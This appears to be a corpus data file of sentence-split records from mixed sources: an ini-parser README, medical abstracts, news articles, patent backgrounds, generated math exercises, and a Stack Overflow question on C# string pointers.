\n </div>\n</div>\n\n \n </div>\n </section>\n \n \n\n\n<script src=\"http://example.com/js/bundle.e6934e69d06bb8a213134f4c1468f9478bb7755e786dfb60e3c5a917c5335805.js\" integrity=\"sha256-5pNOadBruKITE09MFGj5R4u3dV54bftg48WpF8UzWAU=\"></script>\n\n\n\n \n \n \n \n </body>\n</html>\n" ]

{ "pile_set_name": "Github" }

[ 0.006595523562282324, 0.0011011443566530943, 0.0005904557183384895, 0.0008860462694428861, 0.0007865261868573725, 0.010986522771418095 ]

[ "An ini format parser and serializer for node.", "\n\nSections are treated as nested objects. ", " Items before the first\nheading are saved on the object directly.", "\n\n## Usage\n\nConsider an ini-file `config.ini` that looks like this:\n\n ; this comment is being ignored\n scope = global\n\n [database]\n user = dbuser\n password = dbpassword\n database = use_this_database\n\n [paths.default]\n datadir = /var/lib/data\n array[] = first value\n array[] = second value\n array[] = third value\n\nYou can read, manipulate and write the ini-file like so:\n\n var fs = require('fs')\n , ini = require('ini')\n\n var config = ini.parse(fs.readFileSync('./config.ini', 'utf-8'))\n\n config.scope = 'local'\n config.database.database = 'use_another_database'\n config.paths.default.tmpdir = '/tmp'\n delete config.paths.default.datadir\n config.paths.default.array.push('fourth value')\n\n fs.writeFileSync('./config_modified.ini', ini.stringify(config, { section: 'section' }))\n\nThis will result in a file called `config_modified.ini` being written\nto the filesystem with the following content:\n\n [section]\n scope=local\n [section.database]\n user=dbuser\n password=dbpassword\n database=use_another_database\n [section.paths.default]\n tmpdir=/tmp\n array[]=first value\n array[]=second value\n array[]=third value\n array[]=fourth value\n\n\n## API\n\n### decode(inistring)\n\nDecode the ini-style formatted `inistring` into a nested object.", "\n\n### parse(inistring)\n\nAlias for `decode(inistring)`\n\n### encode(object, [options])\n\nEncode the object `object` into an ini-style formatted string. ", "If the\noptional parameter `section` is given, then all top-level properties\nof the object are put into this section and the `section`-string is\nprepended to all sub-sections, see the usage example above.", "\n\nThe `options` object may contain the following:\n\n* `section` A string which will be the first `section` in the encoded\n ini data. ", " Defaults to none.", "\n* `whitespace` Boolean to specify whether to put whitespace around the\n `=` character. ", " By default, whitespace is omitted, to be friendly to\n some persnickety old parsers that don't tolerate it well. ", " But some\n find that it's more human-readable and pretty with the whitespace.", "\n\nFor backwards compatibility reasons, if a `string` options is passed\nin, then it is assumed to be the `section` value.", "\n\n### stringify(object, [options])\n\nAlias for `encode(object, [options])`\n\n### safe(val)\n\nEscapes the string `val` such that it is safe to be used as a key or\nvalue in an ini-file. ", "Basically escapes quotes. ", "For example\n\n ini.safe('\"unsafe string\"')\n\nwould result in\n\n \"\\\"unsafe string\\\"\"\n\n### unsafe(val)\n\nUnescapes the string `val`\n" ]

{ "pile_set_name": "Github" }

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[ "Pseudomonas aeruginosa choroidal abscess in a patient with bronchiectasis.", "\nTo report a case of Pseudomonas aeruginosa endophthalmitis with choroidal abscess formation in a patient with bronchiectasis. ", "Case report. ", "A 75-year-old gentleman with bronchiectasis and P. aeruginosa pneumonia developed painless loss of right eye vision. ", "The patient had previously undergone bronchoscopy to exclude pulmonary neoplasm. ", "Slit-lamp examination revealed intense anterior chamber inflammation with hypopyon and B-scan ophthalmic ultrasound showed a choroidal mass consistent with choroidal abscess. ", "Systemic and topical antibiotics did not prevent further progression of the infection. ", "Patient declined pars plana vitrectomy and opted for enucleation. ", "Polymerase-chain-reaction-based restriction fragment-length polymorphism (PCR-RFLP) of the enucleated eye confirmed P. aeruginosa to be the causative organism. ", "P. aeruginosa cannot be completely eradicated by systemic antibiotics, and bronchial colonization of P. aeruginosa can remain a potential source for metastatic infection. ", "P. aeruginosa choroidal abscess, previously reported only in patients with cystic fibrosis, can also occur in bronchiectasis. ", "Physicians should therefore have a high index of suspicion of endogenous endophthalmitis and treat aggressively, especially in patients with subretinal invasion and abscess formation." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "Behold the ROBOT RECTUM... medics' relief\n\nPucker up, it's for science\n\nRise of the machines: Spare a thought for the only Rectal Teaching Assistant in the UK who has lost his livelihood to a cold, metal bastard.", "\n\nA bionic booty comprising prosthetic buttocks and anus with in-built robotic tech was developed by the white coats at Imperial College London to help doctors and nurses practise probing a posterior pit.", "\n\nThe device contains tiny robotic arms that apply pressure to the silicon rectum to simulate the natural feel of the back passage, preparing medics for future prostate gland examination - the trainer then inserts an index finger into a silicon thimble that is attached to robotic tech.", "\n\nA computer screen behind the robo butt displays a 3D model of the rectum and prostate - if 3D glasses are used. ", "And the tech can be programmed for different scenarios to allow the anatomy to be changed as the size and shape of the rectum and prostate can differ wildly.", "\n\nPhoto credit: Imperial College London\n\n“Internal examinations are really challenging to learn - and to teach,” said Dr Fernando Bello, who works at the Department of Surgery and Cancer at the Imperial College London.", "\n\nHe said that as explorations “occur in the body”, the trainer in unable to see what the trainee is doing and vice versa. ", "And medics rarely get the chance to do their sweet work as few patients volunteer to be probed.", "\n\n“In fact there is only one person registered in the country as a test subject, called a Rectal Teaching Assistant (RTA) in the UK,” said Bello. ", "So that’s one human likely out of a job… just another seven billion odd to go before the machines take over the planet.", "\n\nWith funding from the Engineering and Physical Sciences Research Council, the team is working on an affordable prototype, though each unit is expected to cost up to £10,000." ]

{ "pile_set_name": "Pile-CC" }

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[ "Tag Archives: faculty\n\nI doubt that anyone would benefit from tales about my military service, as it was undistinguished and I retired so long ago. ", "In a nutshell, I enlisted in 1960 at eighteen because I wanted to get married and needed a … Continue reading →" ]

{ "pile_set_name": "Pile-CC" }

[ 0.0006332132616080344, 0.0012015587417408824 ]

[ "The family of a toddler who died after falling from the 11th deck of a Royal Caribbean cruise ship has offered an explanation to the incident. ", "It has now been revealed that the grandfather placed the toddler on a railing that he believed was behind glass.", "\n\nWe had previously reported that 18-month-old Chloe Rae Margaret was on holiday with her parents and grandparents on the Royal Caribbean's Freedom of the Seas ship when the tragedy occurred.", "\n\nThe ship was docked in San Juan, Puerto Rico, on July 7 when the grandfather allegedly lost his grip on the toddler while they were playing on the 11th deck and the little girl fell close to 150 feet directly onto the concrete fellow.", "\n\nWhile it initially seemed as though the tragic death was one born out of carelessness, the family's lawyer Michael Winkleman told NBC News that it was a case of disastrous luck.", "\n\nWinkleman said the family was in a children's play area that was enclosed with clear glass paneling and that Chloe's grandfather placed her on a railing that he believed was behind glass so they could look outside.", "\n\nHe said it was their belief that the toddler fell while she was trying to bang on the glass the same way she does while she's at the ice rink watching her brother's games, only this time, there was no such glass there.", "\n\n\"Essentially, her grandfather lifts her up and puts her on a railing and where he thinks that there is glass there because it's clear, but it turns out there was no glass there,\" Winkleman said. \"", "She goes to bang on the glass like she would have at one of those hockey rinks, and the next thing you know, she's gone.\"", "\n\nHe said that the toddler's parents, Alan and Kimberly Wiegand, as well as the rest of the family, are now seeking answers as to why the area had an open window in a wall of glass paneling, that too in the children's area.", "\n\nRoyal Caribbean International said in a statement that it was 'deeply saddened' about the accident and that they had made a Care Team available to assist the family with 'any resources they need.'", "\n\nThe departure of the ship, which had docked in San Juan following a seven-day Southern Caribbean cruise of Antigua, St Lucia, and Barbados, was also delayed.", "\n\nPuerto Rico's secretary for public affairs Anthony O. Maceira Zayas said their Department of Public Safety was working on the case 'with the seriousness and sensitivity it requires.'", "\n\nChloe's body is currently with the San Juan authorities and her parents are hoping to take her back home to South Bend, Indiana, in the coming days to give her a proper burial.", "\n\nIf you have a news scoop or an interesting story for us, please reach out at (323) 421-7514" ]

{ "pile_set_name": "OpenWebText2" }

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[ "If Elon Musk's SpaceX can get to Mars and bring samples back to Earth before the United States can get there, it would be cause for celebration not lament, said NASA's new science chief.", "\n\n\"If Elon Musk brought the samples in the door right now I'd throw him a party out of my own money,\" Thomas Zurbuchen, NASA's newly named associate administrator for science, told reporters Monday.", "\n\n\"I think that would be a huge success out of the strategies that were pursued by this administration of helping ... the private industry to really grow capabilities that 10 years ago were not around,\" he said.", "\n\nDuring his first sit-down with journalists, Zurbuchen also said that polarizing topics, including science issues, need to be tackled with empathy for and patience with people who have opposing viewpoints.", "\n\nRELATED: NASA: Odds Favor Successful SpaceX Mars Mission\n\n\"Just because somebody doesn't agree with us the first time we open our mouths doesn't mean that they're stupid, or we're smart, or the other way around. ", "I think it's really important to create, bring some empathy to the table,\" Zuburchen told Seeker. \"", "There's a lot of stuff that can be learned by just talking to people.\"", "\n\nBefore joining NASA Zurbuchen was a professor of space science and aerospace engineering at the University of Michigan in Ann Arbor. ", "His areas of expertise include solar and heliospheric physics, experimental space research, innovation and entrepreneurship, NASA said in a statement.", "\n\nZurbuchen holds a master's and a doctorate in physics from the University of Bern in Switzerland.", "\n\nZurbuchen succeeds acting Associate Administrator for Science Geoffrey Yoder, who is retiring from NASA in December. ", "Yoder took over when John Grunsfeld, a former astronaut, retired as NASA's chief scientist six months ago.", "\n\nImage: Artist's concept of SpaceX Red Dragon capsule on the surface of Mars. ", "Credit: SpaceX\n\nWATCH VIDEO: Who Will Win the Race to Mars?" ]

{ "pile_set_name": "OpenWebText2" }

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[ "People have an almost insatiable appetite for content, everything from music to videos, to full-length movies. ", "There is a need to improve the delivery of content to users in order to make delivery more reliable. ", "There are numerous delivery systems known in the art. ", "For example, audio and video have long been delivered to users using a broadcast transmission system (e.g., using large land-based antennas) where the users are provided with suitable receivers, such as radios and televisions. ", "More recently, satellite radio transmissions are beginning to replace traditional radio broadcasts, as customers demand more content and fewer commercials. ", "With satellite radio a large variety of channels can be provided, often with few or even no commercials. ", "Satellite television is similarly gaining in popularity. ", "The Internet is becoming an increasingly popular mechanism for delivering content to users as well.", "\nOne disadvantage of wireless transmission systems is that the signal can be blocked, causing a loss in transmission. ", "For example, weather can interrupt a satellite transmission. ", "Mobile satellite receivers can also be blocked as they pass under trees, bridges and other obstructions. ", "These same issues apply to other types of wireless broadcasts, such as land-based microwave transmissions. ", "Even wired content delivery systems can suffer interruptions in service caused by noise on the line or other interference." ]

{ "pile_set_name": "USPTO Backgrounds" }

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[ "Effect of ethanol on defibrillation energy requirements in humans.", "\nThe purpose of this double-blind study was to determine the effect of intravenous ethanol administration on defibrillation efficacy in 18 patients with an implantable defibrillator. ", "The equivalent of 60 ml of 100 proof ethanol did not impair defibrillation efficacy." ]

{ "pile_set_name": "PubMed Abstracts" }

[ 0.0006406157626770437, 0.000760791648644954, 0.001057803281582892 ]

[ "Caffeine impact on neonatal morbidities.", "\nCaffeine is a silver bullet in neonatology. ", "This ubiquitous trimethylxanthine, pervasively used in the human diet and beverages, significantly impacts on major acute neonatal morbidities including apnea of prematurity, bronchopulmonary dysplasia, patent ductus arteriousus with or without surgical ligation and post-operative apnea. ", "Potential uses in respiratory distress syndrome as suggested by improved lung function in primate models is supported by the decreased time on mechanical ventilation and need for oxygen therapy. ", "Improved later outcomes at 18 to 22 months include clinically significant decreases in cerebral palsy, cognitive impairment, and severe retinopathy of prematurity in those babies who received caffeine during the neonatal period compared to non-caffeine treated placebo neonates. ", "Ongoing and future research studies focus on optimizing current dose regimens to determine whether benefits can be maximized while maintaining an impressive safety profile. ", "Molecular pharmacologic studies focused on the molecular and the biochemical mechanisms underlying the protective effects of caffeine are also being done to optimize treatment regimes and to target potential molecular pathways leading to further decreases in acute and long term neonatal morbidities. ", "Since its use in newborns three decades ago, caffeine is now one of the safest, most cost-beneficial and effective therapies in the newborn." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "? ", " (a) 0.1 (b) d (c) 5\nb\nLet k = -1.0524 - -0.0524. ", "Which is the third biggest value? ", " (a) 6 (b) -2 (c) k\nb\nLet x = -0.98 - -1.48. ", "Which is the second biggest value? ", " (a) 12/11 (b) -4/5 (c) x\nc\nLet q = -32.5 - -36. ", "Let g = -4 + q. Which is the biggest value? ", " (a) 1 (b) -2/3 (c) g\na\nLet o be ((-16)/(-60))/((-2)/5). ", "Let a be ((-120)/(-50))/(3/10). ", "Let d(n) = 2*n**2 - 16*n + 2. ", "Let y be d(a). ", "What is the second biggest value in -3, o, y?", "\no\nLet n = 0.4 + -0.21. ", "Let s = n - -0.01. ", "Suppose -5*d - 7 = 3. ", "What is the biggest value in s, 1, d?", "\n1\nLet n be (-4)/(-16)*40/(-90). ", "Which is the third smallest value? ", " (a) n (b) -0.1 (c) -4 (d) 4\nb\nLet r = 124/561 - 2/51. ", "Let y be (((-24)/(-108))/((-6)/9))/1. ", "Which is the fourth smallest value? ", " (a) r (b) -1 (c) y (d) -0.4\na\nSuppose 4 + 6 = 5*b. ", "What is the third smallest value in 6, 10, b?", "\n10\nLet q = 64/117 - 10/13. ", "Suppose -6*x + 1 = 19. ", "What is the third smallest value in 0.4, x, q?", "\n0.4\nLet t = 342 - 346. ", "Which is the third smallest value? ", " (a) -5 (b) 0.4 (c) 3/2 (d) t\nb\nLet d be 4*(-1)/2 - -2. ", "Suppose 0 = -i + 1 - 0. ", "Let z be (2 + d/i)*1. ", "Which is the biggest value? ", " (a) z (b) 4 (c) 0.4\nb\nLet l = -0.0384 - -65.9384. ", "Let v = l + -66. ", "What is the second biggest value in 11, v, -4?", "\nv\nLet d = -32 - -18. ", "Let y = -15 - d. Let s = 12 + -12. ", "Which is the third biggest value? ", " (a) -0.2 (b) y (c) s\nb\nLet l = 0.1 + -0.07. ", "Let t = l - -2.97. ", "Which is the second smallest value? ", " (a) -3 (b) 5 (c) -5 (d) t\na\nLet y = -3 + 7. ", "Suppose 3*q - 8*q + 30 = 3*n, -y*n + q = -63. ", "Suppose n = -0*f + 5*f. ", "Which is the second smallest value? ", " (a) f (b) -2/21 (c) 1/4\nc\nLet h = 616 + -611. ", "What is the smallest value in 2, h, -2, 7?", "\n-2\nSuppose 5*i + 22 - 2 = 0. ", "Let r be (i/6)/(14/(-63)). ", "Which is the second smallest value? ", " (a) -0.3 (b) 0.1 (c) r\nb\nLet h = -216 + 1079/5. ", "What is the third biggest value in -2/7, -4, h?", "\n-4\nLet q = -8 - -11. ", "Suppose -b - 20 = 4*b. ", "What is the biggest value in b, q, 0.5?", "\nq\nLet s = 4.8024 - -0.1976. ", "Which is the fourth smallest value? ", " (a) 3 (b) 1/2 (c) s (d) 0.2\nc\nLet o = -8339 + 8344. ", "Let p = -3.6 - -4. ", "What is the third biggest value in p, 3, o?", "\np\nLet b = 0.06 - 36.06. ", "Let l = b - -35. ", "What is the third biggest value in -2/5, l, -0.1?", "\nl\nLet t = -10.4 + 1.4. ", "Let k = -5 - t. Let j = -8.7 + 8.9. ", "Which is the third biggest value? ", " (a) 0.5 (b) j (c) k\nb\nLet p = -0.451 - -0.351. ", "Which is the second smallest value? ", " (a) -0.07 (b) 4 (c) p (d) 2/13\na\nLet u = 273 + -1915/7. ", "Let i = -36240 - -36240. ", "What is the third biggest value in u, i, -0.3, 1?", "\n-0.3\nLet l = 0.048 + 29.952. ", "Let h = -35 + l. Which is the third biggest value? ", " (a) 1 (b) h (c) -1/7\nb\nLet l = -0.2229 - 2.7771. ", "What is the smallest value in l, 8, -2?", "\nl\nLet k = -7.2 + 4. ", "Let s = k + -0.8. ", "Let r = 734 - 734.4. ", "Which is the second smallest value? ", " (a) s (b) r (c) -1/3\nb\nLet s = 69 + -58. ", "Let v = 15 - s. Let n be -2 - (0 - (-2)/(-1)). ", "Which is the third smallest value? ", " (a) n (b) 0.3 (c) v\nc\nLet f = -4.9 - -5. ", "Let h = 0.2 - f. Let a = -1 - -6. ", "What is the smallest value in h, a, 4?", "\nh\nLet g = 10 - 8. ", "Let x = -16 + g. Which is the biggest value? ", " (a) 0.2 (b) x (c) -1\na\nLet x = -10.21 - -5.21. ", "Which is the second biggest value? ", " (a) x (b) 3 (c) -0.051\nc\nLet j be -8 - -1 - (51/(-7))/1. ", "Which is the third smallest value? ", " (a) 3/2 (b) -2.86 (c) j\na\nLet b = -9 + 11. ", "Suppose w = b*w - 36. ", "Let k be (4/(-6))/(60/w). ", "What is the third smallest value in 3/2, k, -2?", "\n3/2\nLet w = -0.0092 - -0.3092. ", "Which is the biggest value? ", " (a) w (b) -1/5 (c) -5\na\nLet p = -0.98 + 26.98. ", "Let b be 3 + 1 + -5 - (-2)/3. ", "What is the biggest value in p, -0.5, b?", "\np\nLet m be (-2)/(-5) + 132/(-10). ", "Let d = 13 + m. Let v = -4.4 + 4.9. ", "What is the third smallest value in v, 4/5, d?", "\n4/5\nLet y = -0.43 - -30.43. ", "Let j = y + -32. ", "Let l = 0.4 + -0.4. ", "Which is the second smallest value? ", " (a) l (b) j (c) -3\nb\nLet v be (2 + (-46)/28)*(-8 - -4). ", "Let w = 164/105 + v. Let o = 0 - 2. ", "What is the smallest value in o, -4, w?", "\n-4\nLet z = -84.8 + 85. ", "Which is the fourth smallest value? ", " (a) 4 (b) 0.3 (c) z (d) -0.09\na\nLet h be 3 + -3 + 2 + -2. ", "Let n = 42 + -39. ", "Suppose -n*s + 9 + 6 = h. Which is the third biggest value? ", " (a) -1/6 (b) 1/5 (c) s\na\nLet q = 12 - 19. ", "Let w = 3 + q. Let y = 1.2 - 0.9. ", "What is the third biggest value in -0.1, w, y?", "\nw\nLet j be -9 + 1170/99 - 3. ", "What is the second biggest value in -4/3, j, -5/2, -4.7?", "\n-4/3\nLet r = -1.3 - -0.3. ", "Let k = 4787 - 4785. ", "What is the second smallest value in r, k, 0, -4?", "\nr\nLet i be 12/24*-3*1/3. ", "Let j = -4 + 4.4. ", "What is the smallest value in 14, j, i, 0.3?", "\ni\nLet w(h) be the first derivative of 3*h**2/2 + 48*h + 23. ", "Let j be w(-21). ", "What is the third smallest value in -2, j, 1?", "\n1\nLet t = 4 + -4. ", "Suppose -63 = -h - 2*h. ", "Let p be 4 - 2/(10/h). ", "Which is the third biggest value? ", " (a) 2 (b) t (c) p\nc\nLet x = -6.1 + 7.1. ", "Let t = 0 + 4. ", "Which is the fourth biggest value? ", " (a) x (b) 0.03 (c) 0.3 (d) t\nb\nLet q = -14/3 - -44/9. ", "Let w = 115 - -51. ", "Let s = 661/4 - w. What is the second biggest value in s, 0.5, q?", "\nq\nLet q(p) = -6*p - 20. ", "Let o(y) = -9*y - 3*y - 40 + y. Let c(d) = 4*o(d) - 7*q(d). ", "Let b be c(-10). ", "What is the biggest value in -4/7, b, -1/2?", "\nb\nLet c = 2582/15 - 172. ", "What is the second biggest value in c, -1, 0, -11?", "\n0\nLet n = 214 - 210. ", "What is the biggest value in 1/27, n, -1?", "\nn\nLet k = 1/19 - -15/76. ", "Suppose 0 = -p + q + 2, 0 = -5*p + 6*p + 2*q - 11. ", "Which is the fourth biggest value? ", " (a) k (b) -3 (c) p (d) 0.1\nb\nLet d = 1.2 - 0.72. ", "Let b = 108.02 - 108. ", "Let i = b + d. What is the second smallest value in -0.3, -0.8, i?", "\n-0.3\nLet q be 3 + 2 + 8/(-4). ", "Suppose 0 = 7*r - 3*r - 16. ", "Which is the second smallest value? ", " (a) q (b) 1 (c) r\na\nLet t = 2897/2 - 1448. ", "What is the third smallest value in -39.4, t, -4?", "\nt\nLet s = -146.2 - -144.2. ", "What is the second smallest value in -1/3, 256, s?", "\n-1/3\nLet x = -0.3 - 0.2. ", "Let k = -593 - -593. ", "What is the third smallest value in x, -0.4, k?", "\nk\nLet c = -0.624 + 23.644. ", "Let h = 23 - c. Let w = 8/3 + -2. ", "What is the second biggest value in -2, w, h?", "\nh\nLet l = -3 - 3. ", "Suppose 0 = 2*f + 4 + 18. ", "Let j = f - l. Which is the biggest value? ", " (a) -2/11 (b) j (c) 3\nc\nLet m = -0.6 - -0.1. ", "Let t = 71.34 - 71.54. ", "Which is the second biggest value? ", " (a) -2 (b) t (c) m (d) -0.1\nb\nLet o = -15 - -18. ", "Let q = o - 2.3. ", "Let z = q + -0.7. ", "What is the second smallest value in 4, 2/11, z?", "\n2/11\nLet t = -9 - -0.5. ", "Let p = t - -9. ", "Let f = -9.2 - -9. ", "What is the third biggest value in p, -0.4, f?", "\n-0.4\nLet v = 0.1 + 0.1. ", "Let j = 2.8 - 3. ", "Let u = -0.07 - 0.03. ", "Which is the second smallest value? ", " (a) u (b) j (c) v\na\nLet b = 93 + -93.01. ", "Let k = 1.01 + -1. ", "Let u = b + k. What is the third biggest value in -0.3, -1/9, u?", "\n-0.3\nLet p = 8830 + -9129.74. ", "Let w = p - -303. ", "Let q = -0.26 + w. What is the third biggest value in 3/2, q, -0.5?", "\n-0.5\nLet p = 0.6 - 2.6. ", "Let j(k) = -2*k**3 - 11*k**2 - 4*k + 5. ", "Let d be j(-7). ", "Let i be ((-2)/3)/(40/d). ", "Which is the smallest value? ", " (a) p (b) i (c) -4\nc\nLet p = -10.2 + 7.2. ", "Let o be (5/2)/((-2)/4). ", "What is the smallest value in 1/5, o, p?", "\no\nLet x be (-4)/133*(-98)/28. ", "What is the third smallest value in 0.2, x, -2/9, -4?", "\nx\nLet s = 214 - 213.95. ", "Which is the biggest value? ", " (a) s (b) 1/9 (c) -1 (d) -2/15\nb\nLet l = -94 - 5. ", "Let q = 98.5 + l. What is the second biggest value in -4, q, -3.7?", "\n-3.7\nLet z = 0.1462 - -1.8538. ", "Which is the second smallest value? ", " (a) -5 (b) 9 (c) 1 (d) z\nc\nLet j = -127/306 + -1/18. ", "What is the second smallest value in j, 1/4, -1/4?", "\n-1/4\nLet w be (-1 + -1)/((-18)/(-6)). ", "Which is the fourth smallest value? ", " (a) w (b) -2 (c) 1/8 (d) -0.3\nc\nLet j = 12 + -11.6. ", "Let d = j + 3.6. ", "Let k = 0.06 + -0.26. ", "What is the third smallest value in 1/2, k, d?", "\nd\nLet f = -0.37 - 1.63. ", "Let h = 2.51 + -2.6. ", "Let u = h + 0.11. ", "Which is the second biggest value? ", " (a) f (b) u (c) 0\nc\nLet w = -40.96 - -41. ", "Let c be 36/15*(-4)/16. ", "What is the third biggest value in c, w, -6?", "\n-6\nLet a = -151/6 + 25. ", "Let i = 0.2 - 0.5. ", "Let x = -3.92 + 4.32. ", "What is the smallest value in i, a, x?", "\ni\nLet s = 2110.7 - 2111. ", "Which is the second smallest value? ", " (a) 2 (b) -3 (c) 0.1 (d) s\nd\nLet g be 2/(-7) + (-48)/(-70). ", "Let l(t) = -t - 11. ", "Let c be l(-15). " ]

{ "pile_set_name": "DM Mathematics" }

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[ "Towards a standardized nutrition and dietetics terminology for clinical practice: An Austrian multicenter clinical documentation analysis based on the International Classification of Functioning, Disability and Health (ICF)-Dietetics.", "\nHigh quality, continuity and safe interdisciplinary healthcare is essential. ", "Nutrition and dietetics plays an important part within the interdisciplinary team in many health conditions. ", "In order to work more effectively as an interdisciplinary team, a common terminology is needed. ", "This study investigates which categories of the ICF-Dietetics are used in clinical dietetic care records in Austria and which are most relevant to shared language in different medical areas. ", "A national multicenter retrospective study was conducted to collect clinical dietetic care documentation reports. ", "The analysis included the \"best fit\" framework synthesis, and a mapping exercise using the ICF Linking Rules. ", "Medical diagnosis and intervention concepts were excluded from the mapping, since they are not supposed to be classified by the ICF. ", "From 100 dietetic records, 307 concepts from 1807 quotations were extracted. ", "Of these, 241 assessment, dietetics diagnosis, goal setting and evaluation concepts were linked to 153 ICF-Dietetics categories. ", "The majority (91.3%) could be mapped to a precise ICF-Dietetics category. ", "The highest number of ICF-Dietetics categories was found in the medical area of diabetes and metabolism and belonged to the ICF component Body Function, while very few categories were used from the component Participation and Environmental Factors. ", "The integration of the ICF-Dietetics in nutrition and dietetic care process is possible. ", "Moreover, it could be considered as a conceptual framework for interdisciplinary nutrition and dietetics care. ", "However, a successful implementation of the ICF-Dietetics in clinical practice requires a paradigm shift from medical diagnosis-focused health care to a holistic perspective of functioning with more attention on Participation and Environmental Factors." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "Article content\n\nCanada’s marijuana companies have entered a make-or-break period, where logistics could matter as much as the product itself in determining who will be the biggest winners to come out of legalization.", "\n\nThough the Senate’s historic passing of the Cannabis Act Tuesday night means Royal Assent is expected within days, Prime Minister Justin Trudeau said Wednesday that legal cannabis sales won’t begin until Oct. 17.", "\n\nWe apologize, but this video has failed to load.", "\n\ntap here to see other videos from our team. ", "Try refreshing your browser, or Cannabis companies enter crunch time following Senate vote Back to video\n\nThat gives companies just over four months to get their houses in order and their products to provincial wholesalers and government and private retailers.", "\n\n“Provinces are now doing their due diligence and coming by our facilities and making sure that we can actually grow, and that we actually have product,” said Brad Rogers, president of CannTrust Holdings Inc.\n\nOnly Quebec, New Brunswick and Prince Edward Island have signed supply agreements with cannabis companies. ", "But other provinces, including Ontario, are finalizing their product calls, determining what companies can provide what products and at what volumes." ]

{ "pile_set_name": "OpenWebText2" }

[ 0.0006797738606110215, 0.0005978417466394603, 0.0006396722747012973, 0.0006559600587934256, 0.000634574971627444, 0.0006052427343092859, 0.000556530081667006 ]

[ "1. ", "Field of the Invention\nThe present invention is related to a liquid discharge recording head for performing a recording operation by discharging liquids, such as ink, from a discharge port. ", "Specifically, it is related to an ink jet recording head for performing recording by discharging ink. ", "The liquid discharge recording head of the present invention can be applied to devices such as a copying machine, a facsimile having a communication system, a word processor having a printing section, and a recording apparatus, which is multi-functionally combined with each device, other than a common printing device. ", "In the present invention, “recording” also means adding an image such as a simple pattern.", "\n2. ", "Description of the Related Art\nJapanese Patent Laid-Open No. ", "2002-154208 discloses a recording head mounted on an ink jet recording apparatus. ", "Japanese Patent Laid-Open No. ", "2002-154208 discloses a configuration for mounting two recording element boards, having two different discharging methods, on one chip plate (supporting member) so as to achieve high-grade recording as well as high-speed recording, and at the same time, to achieve lower cost and simplifying as well as downsizing of the configuration. ", "Such a configuration is shown in FIG. ", "6.", "\nFIG. ", "6 is a sectional view of recording element boards 5 and 6 and support member 3 in the conventional art. ", "FIG. ", "6 is equivalent to a part of the A-A′ section of the liquid discharge recording head of FIG. ", "8. ", "Japanese Laid-Open No. ", "2002-154208 discloses that the Si boards 18 and 19, used for the two recording element boards 4 and 5, respectively, have the same thickness. ", "A flow path forming member 20 in recording element board 4 for discharging black ink has a nozzle structure for discharging a large droplet, and for efficiently performing solid printing, by preparing the distance between the energy generating element 2 and the discharge port 11 to be longer. ", "For the discharging method of this nozzle structure, the method of generating an air bubble in ink by driving a recording element and discharging ink by defoaming of the air bubble is adopted. ", "On the other hand, the recording element board 5 for discharging color ink has a nozzle structure for achieving highly-accurate and high-quality recording by discharging a droplet of a small amount, compared to black ink, by shortening a distance between the energy generating element 2 and the discharge port 11, compared to black ink. ", "For the discharge method of this nozzle structure, a method of discharging ink by having an internal pressure of an air bubble communicate with air in a negative state, the air bubble being generated in the ink by driving a recording element is adopted.", "\nA liquid discharge recording head where two recording element boards are mounted on one support member discharges ink in a direction substantially perpendicular to a medium to be recorded in performing recording by being set in a recording apparatus as shown in FIG. ", "7. ", "Also, there is some undulation on the surface of the medium to be recorded. ", "Therefore a gap of approximately 1.2 mm is provided between the liquid discharge recording head and the medium to be recorded such that a face of the liquid discharge recording head, on which a discharge port is disposed, and the surface of the medium to be recorded do not interfere. ", "This gap is referred to as head-to-paper distance. ", "The most suitable distance is set for this head-to-paper distance by balancing image quality and cost.", "\nWith respect to a head disclosed in Japanese Patent Laid-Open No. ", "2002-154208, in the recording element board 4 for discharging black ink, the distance between the energy generating element 2 and the discharge port 11 is longer, compared to the recording element board 5, since the recording element board 4 is configured to discharge a larger droplet, compared to the recording element board 5. ", "On the other hand, the recording element board 5 for discharging color ink has a nozzle structure where a distance between the recording element and the discharge port is shorter since the recording element board 5 is configured to discharge a smaller droplet. ", "Thus, when the thickness of the Si substrates 18 and 19 are approximately the same, the distance between the discharge port and the medium to be recorded (head-to-paper distance) is relatively longer in the recording element board 5 for discharging color ink than in the recording element board 4 for discharging black ink. ", "Generally, landing accuracy of discharged ink to a medium to be recorded deteriorates when the head-to-paper distance becomes longer. ", "Therefore, droplet landing accuracy may deteriorate. ", "The deterioration in the droplet landing accuracy of the recording element board 5 for discharging color ink is one of the reasons of color unevenness in so-called secondary color formation, formed by color inks. ", "In the conventional product, the image quality has been improved by increasing the number of times that a recording head scans over a medium to be recorded (the number of passes). ", "However, as demand for improved printing speed increases, the number of passes tends to decrease. ", "At the same time, there is a demand for higher quality of images, and improvement of landing accuracy of a droplet of small amount, such as color ink, becomes more important. ", "The smaller that the amount of the discharged liquid is, the larger the influence of the landing accuracy to a medium to be recorded and a satellite droplet, being generated accompanying a main droplet, becomes. ", "As a result, the influence on image quality becomes more significant.", "\nIn view of the above-described problem, there is a need for improvement of image quality of a head for color ink for performing relatively small-amount discharge, without lowering image quality of a head for black ink." ]

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[ "Q:\n\nConverting from string to char* only copies the first character\n\nI have looked at most of the string to char* conversion SO answers, but it is not working for me. ", "Here is my code:\npublic static void Main() {\n string name = \"ELEM\";\n unsafe{\n fixed(char* name_ptr = name) {\n Console.", "WriteLine(name_ptr->ToString());\n }\n }\n} \n// Output: E\n\nI need to do this since I have to pass a char* to my C++ custom DLL. ", "Why would it only copy the first character only, and how can I properly convert string to a char*?", "\n\nA:\n\nYou get the first character only, because name_ptr is nothing but a reference to a single character and when you call name_ptr->ToString() you actually call char.", "ToString(). ", " \nYou should use a StringBuilder instead to pass a string to a C/C++ DLL. ", " See this question.", "\n\n" ]

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[ "\nFCC Commissioner slams N. Carolina attack on city-owned broadband - evo_9\nhttp://arstechnica.com/tech-policy/news/2011/04/fcc-commish-slams-north-carolina-anti-muni-broadband-bill.ars\n======\njs2\nRelated: <http://news.ycombinator.com/item?id=2328116>\n\n" ]

